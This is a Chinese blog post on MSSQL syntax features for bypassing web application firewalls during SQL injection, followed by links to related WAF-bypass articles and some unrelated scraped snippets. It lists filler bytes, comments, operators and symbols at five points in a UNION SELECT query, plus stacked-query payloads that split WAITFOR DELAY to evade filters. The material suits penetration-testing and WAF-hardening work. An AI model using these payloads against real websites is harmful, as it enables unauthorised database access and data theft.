0x01 背景

探索玩了Mysql特性,继续来探索一下MSsql特性。

0x02 测试

常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

位置一:参数和union之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

(2)注释符号

Mssql也可以使用注释符号/**/

(3)浮点数

select * from admin where id=1.1union select 1,'2',db_name() from admin

(4)1E0的形式:

select * from admin where id=1e0union select 1,'2',db_name() from admin

(5)运算符

包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与(&)、位或(|)、位异或(^)

select username,password,id from admin where id=1-1union select '1',system_user,3 from admin

select username,password,id from admin where id=1e-union select '1',system_user,3 from admin

(6)小区别:

ASPX:[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符

ASP:     [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符

单引号:select username,password,id from admin where id=1 and '1'like'1'union select null,null,null

位置二:union和select之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

:  %3a  冒号

select * from admin where id=1 union:select 1,'2',db_name() from:admin

ASPX:[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行,如%3a%a0、%a0%0a

ASP:     [0x01-0x20] 、0x3a

位置三:select和查询参数之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

%2b  +      select * from admin where id=1 union select+1,'2',db_name() from admin

%2d  -       select * from admin where id=1 union select-1,'2',db_name() from admin

%2e  .       select * from admin where id=1 union select.1,'2',db_name() from admin

%3a  :       select * from admin where id=1 union select:1,'2',db_name() from admin

%7e  ~      select * from admin where id=1 union select~1,'2',db_name() from admin

位置四:查询参数和from之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

ASP:     [0x01-0x20]、0x2e、[0x30-0x39]、0x45、0x65、[0x80-0xff]

ASPX:[0x00-0x20]、0x2e、[0x30-0x39]、0x45、0x65、

id=1%20union%20select%201,'2',db_name()%80from%20admin

db_name与()中间 %00-%20 %80-%ff填充

id=1 union select 1,'2',db_name+() from admin

位置五:from后面的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

:  %3a    select * from admin where id=1 union:select 1,'2',db_name() from:admin

.    %2e    select * from admin where id=1 union select 1,'2',db_name() from.information_schema.SCHEMATA

ASP:   [0x01-0x20]、0x2e、0x3a

ASPX: [0x00-0x20]、0x2e、0x3a、[0x80-0xff]

0x03 函数

(1)字符串截取函数

Substring(@@version,1,1)

Left(@@version,1)

Right(@@version,1)

charindex('test',db_name())

(2)字符串转换函数

Ascii(‘a’)

Char(‘97’)

这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass

(3) 其他方式

利用存储过程

mssql的存储过程定义为:

Declare @s varchar(5000)  //申明变量@s 类型为varchar(5000)
Set @ //给@s变量赋值
Exec(@s) //执行@s

id=1;Exec('WA'+'ITFOR DELAY ''0:0:5''')

id=1;declare @test nvarchar(50);set @test='wait'+'for delay ''0:0:5''';exec sp_executesql @test

持续更新中。。。。。。。。。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

WAF Bypass数据库特性(MSsql探索篇)的更多相关文章

  1. WAF Bypass数据库特性(Mysql探索篇)

    0x01 背景 Mysql数据库特性探索,探索能够绕过WAF的数据库特性. 0x02 测试 常见有5个位置即:   SELECT * FROM admin WHERE username = 1[位置一 ...

  2. WAF Bypass数据库特性(Access探索篇)

    0x01 背景 无聊,测试了一下access特性 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]select[位置三]1, ...

  3. WAF Bypass数据库特性(Oracle探索篇)

    0x01 背景 oracle与mysql特性类似,半自动化fuzz了一下,记录成果. 0x02 测试 位置一:参数和union之间的位置 1)空白字符 Oracle中可以利用的空白字符有: %00   ...

  4. WAF Bypass 笔记(SQL注入篇)

    0x01 背景 waf Bypass 笔记 0x02 服务器特性 1.%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF ...

  5. waf bypass

    1.前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭代的 ...

  6. WAF对抗-安全狗(联合查询篇)

    WAF对抗-安全狗(联合查询篇) 实验环境 网站安全狗APACHE版V4.0.靶场:dvwa 为了方便对比可以在这个在线靶场申请一个dvwa https://www.vsplate.com/ mysq ...

  7. 我的WAF Bypass实战系列

    ​ 梳理了一下自己写过的WAF Bypass相关的文章,按照编写时间顺序,整理成了一个WAF Bypass实战系列,如果你准备了解WAF攻防这一块的内容,可以来了解一下. 第一篇:<Bypass ...

  8. IOC容器特性注入第一篇:程序集反射查找

    学习kooboo的框架发现它的注入容器方法比较特别,同样是利用MVC的注入点,但它是查找网站下面bin所有的DLL利用反射查找特性找到对应的服务注入到容器. 这样的好处很简单:完全可以不用关心IOC容 ...

  9. SQL数据库基础知识-巩固篇<一>

    SQL数据库基础知识-巩固篇<一>... =============== 首先展示两款我个人很喜欢的数据库-专用于平时个人SQL技术的练习<特点:体积小,好安装和好卸载,功能完全够用 ...

随机推荐

  1. 安卓程序代写 网上程序代写[原]Android之Bluetooth编程

    ViewGroup 相关资料 : http://www.incoding.org/admin/archives/199.html http://bbs.csdn.net/topics/37014474 ...

  2. Android pid uid

    PID:为Process Identifier, PID就是各进程的身份标识,程序一运行系统就会自动分配给进程一个独一无二的PID.进程中止后PID被系统回收,可能会被继续分配给新运行的程序,但是在a ...

  3. SAP MM01 创建物料主数据 [关注公众号后回复MM01获取更多资料]

    操作内容 物料主数据,适用于所有有物料编码物料相关信息的系统维护 业务流程 新项目设计冻结后—M公司 PD用-物料编码申请表D-BOM Material Number  Application部门内部 ...

  4. 【转】【Python】Python中的__init__.py与模块导入(from import 找不到模块的问题)

    python中的Module是比较重要的概念.常见的情况是,事先写好一个.py文 件,在另一个文件中需要import时,将事先写好的.py文件拷贝 到当前目录,或者是在sys.path中增加事先写好的 ...

  5. (实用)Linux下Eclipse安装配置PyDev

    记录备忘. PyDev是Eclipse下支持Python开发的IDE插件,本文介绍安装和配置PyDev插件的过程. 一.安装PyDev插件两种安装方法: 1.在eclipse的Help->Ins ...

  6. PCL(Point Cloud Library)的第三方库简单介绍(boost,eigen,flann,vtk,qhull)

    PCL由于融合了大量的第三方开源库,导致学习成本升高~在学习之前我们最好还是了解一下这些库都是干嘛的,以便有的放矢.在之后更好的使用 boost: C++的标准库的备用版,擅长从数学库到智能指针,从模 ...

  7. linux command not found错误提示

    错误提示:screen: command not found, 如果提示screen: command not found 命令不存在可以执行:yum install screen 或 apt-get ...

  8. Thinkphp5笔记六:公共模块common的使用

    common模块属于公共模块,Thinkphp框架,默认就能调用. 实际用处:任何模块都可能用到的模型.控制.事件提取出来放到公共模块下. 一.公共事件  apps\common\common.php ...

  9. Markdown编辑器Editor.md使用方式

    摘要: 搭建个人博客时,涉及文章上传,文章展示,这里需要一个Markdown插件,mark一下. Editormd下载地址:http://pandao.github.io/editor.md/ 由于前 ...

  10. Webkit内核探究【1】——Webkit简介

    出处:http://www.cnblogs.com/jyli/archive/2010/01/31/1660355.html作者:李嘉昱 研究Webkit内核已经有一段时间了,在这期间我花了很多时间去 ...